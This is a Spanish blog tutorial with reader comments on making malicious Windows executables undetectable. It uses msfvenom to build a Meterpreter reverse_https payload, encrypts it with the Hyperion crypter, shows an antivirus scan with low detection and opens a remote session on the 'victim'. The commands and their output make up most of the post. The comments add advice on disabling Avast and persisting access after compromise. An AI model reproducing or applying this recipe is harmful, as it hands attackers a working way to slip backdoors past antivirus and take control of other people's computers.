Metasploit + Hyperion (PE Crypter) para la indetección de ejecutables maliciosos

Todos sabemos lo fácil que es inyectar un payload en un ejecutable mediante msfvenom (msfpayload + msfencoder)... y también lo fácil que es que el fichero resultante sea detectado por multitud de antivirus.

Utilizar un encoder de Metasploit no es la solución y, de hecho, a veces es mejor no usarlos o es indiferente. Nos encontramos entonces que tenemos que luchar contra la detección de firmas, la heurística y los sandboxes de los antivirus. No hay una técnica única, ni una mejor que otra, simplemente cualquiera es buena si conseguimos un bajo ratio de detección o un binario FUD.

El otro día revisamos la técnica de Assembly Ghost Writing y hoy vamos a ver el funcionamiento de un PE crypter bastante reciente denominado Hyperion.
Este crypter desarrollado por NullSecurity actua como un packer pero, en lugar de ofuscar el payload (scrambling) y encapsularlo con las instrucciones necesarias para desofuscarlo, Hyperion cifra el payload y lo encapsula con una clave AES débil la cual simplemente se rompe por fuerza bruta en tiempo de ejecución. ¿Ingenioso verdad?, vamos a ver su instalación, funcionamiento y resultado en una distribución BackTrack:

1. Descarga e instalación del crypter:

root@bt:~# wget http://nullsecurity.net/tools/binary/Hyperion-1.0.zip
root@bt:~# unzip Hyperion-1.0.zip 
root@bt:~# cd Hyperion-1.0
root@bt:~/Hyperion-1.0# wine /root/.wine/drive_c/MinGW/bin/g++.exe ./Src/Crypter/*.cpp -o crypter.exe
root@bt:~/Hyperion-1.0# ls -l *.exe
crypter.exe  Examples  Fasm  FasmAES-1.0  license.txt  Makefile  Obj  readme.txt  Src
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe

2. Creación del payload con Metasploit:

root@bt:~/Hyperion-1.0# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 -f exe > payload.exe
root@bt:~/Hyperion-1.0# ls -las *.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe

3. Cifrado con Hyperion:
root@bt:~/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

root@bt:/home/pruebas/Hyperion-1.0# wine crypter.exe payload.exe encrypted_payload.exe

Opening payload.exe
Copied file to memory: 0x115890
Found valid MZ signature
Found pointer to PE Header: 0xe8
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0xa966, VAddress: 0x1000, RawSize: 0xb000, RawAddress: 0x1000

Found Section: .rdata
VSize: 0xfe6, VAddress: 0xc000, RawSize: 0x1000, RawAddress: 0xc000

Found Section: .data
VSize: 0x705c, VAddress: 0xd000, RawSize: 0x4000, RawAddress: 0xd000

Found Section: .rsrc
VSize: 0x7c8, VAddress: 0x15000, RawSize: 0x1000, RawAddress: 0x11000

Input file size + Checksum: 0x1204e
Rounded up to a multiple of key size: 0x12050
Generated Checksum: 0x5f076d
Generated Encryption Key: 0x3 0x0 0x3 0x3 0x0 0x1 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file's image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file's image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encrypted_payload.exe
FASM Working Directory: Z:\home\pruebas\Hyperion-1.0

Executing fasm.exe

root@bt:/home/pruebas/Hyperion-1.0# flat assembler  version 1.69.31  (886317 kilobytes memory)
5 passes, 0.1 seconds, 92672 bytes.

root@bt:~/Hyperion-1.0# ls -las *.exe
root@bt:/home/pruebas/Hyperion-1.0# ls -las *.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 08:46 payload.exe
568 -rwxr-xr-x 1 root root 580396 2012-11-14 06:29 crypter.exe
 92 -rwxr-xr-x 1 root root  92672 2012-11-14 06:39 encrypted_payload.exe
 76 -rw-r--r-- 1 root root  73802 2012-11-14 06:32 payload.exe

4. Detección multi-AV:

File Info

Report date: 2012-11-14 15:57:54 (GMT 1)
File name: encrypted-payload-exe
File size: 92672 bytes
MD5 Hash: e52fa3edf724db47a629e6f422ff3395
SHA1 Hash: 4378caceebf0926fe24e7bae65daaa8aeefe962b
Detection rate: 5 on 14 (36% )
Status: INFECTED

Detections

Asquared - Trojan.Win32.Spy!IK
Avast -
AVG -
Avira - TR/Crypt.XPACK.Gen
BitDefender -
ClamAV -
Comodo -
DrWeb -
Fprot -
IkarusT3 - Trojan.Win32.Spy
Panda - Trj/Genetic.gen
STOPZilla -
TrendMicro - PAK_Generic.001
VBA32 -

Scan report generated by
NoVirusThanks.org


5. Ejecución de meterpreter:
root@bt:~# msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_https LHOST=192.168.249.128 LPORT=443 E
[*] Please wait while we load the module tree...

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops

PAYLOAD => windows/meterpreter/reverse_https
LHOST => 192.168.249.128
LPORT => 443
[*] Started HTTPS reverse handler on https://192.168.249.128:443/
[*] Starting the payload handler...
[*] 192.168.249.1:54391 Request received for /cV3p...
[*] 192.168.249.1:54391 Staging connection for target /cV3p received...
[*] Patched user-agent at offset 641512...
[*] Patched transport at offset 641172...
[*] Patched URL at offset 641240...
[*] Patched Expiration Timeout at offset 641772...
[*] Patched Communication Timeout at offset 641776...
[*] Meterpreter session 1 opened (192.168.249.128:443 -> 192.168.249.1:54391) at 2012-11-14 06:49:43 -0500

meterpreter > systeminfo
[-] Unknown command: systeminfo.
meterpreter > getid
[-] Unknown command: getid.
meterpreter > getuid
Server username: PANDORA\vmotos

Como véis, hemos conseguido que nuestro payload se ejecute sin ser detectado en la máquina de la víctima (con AV McAfee) obteniendo una sesión remota de Meterpreter. 


En próximos artículos repasaremos otras técnicas para la evasión de antivirus como modding, firmas de ejecutables, avkillers, etc. Si conocéis alguna otra o queréis que veamos alguna antes en particular no dudéis en comentar la entrada.

7 comentarios:

  1. Muy bueno, hoy lo estuve probando y pasó como si nada por varios AVs :)

    ResponderEliminar
  2. Excelente, ya había probado hyperion 1.0 pero por alguna razón el payload mostraba un error en windows. Decidí darle una segunda oportunidad y esta vez funcionó sin problemas, algo habré hecho mal la última vez.

    ResponderEliminar
  3. nop, la herramienta sigue siendo descargable desde la página de NullSecurity: http://nullsecurity.net/tools/binary/Hyperion-1.0.zip

    ResponderEliminar
  4. Esta muerto el link a null.
    Por eso preguntaba, ahi algun otro repositor para descarga ??

    ResponderEliminar
  5. Logré una session de meterpreter en una Pc protegida por Avast AV. Pero no logro desactivar el AV. Alguna idea?
    Gracias!

    ResponderEliminar
  6. hola @rodrigo,

    si tienes la sesión como NT Authority\SYSTEM desactiva el inicio con Windows de los servicios, persiste la sesión y reinicia (o espera a reiniciar).

    Si no tendrás que ver algún av killer contra avast..

    ResponderEliminar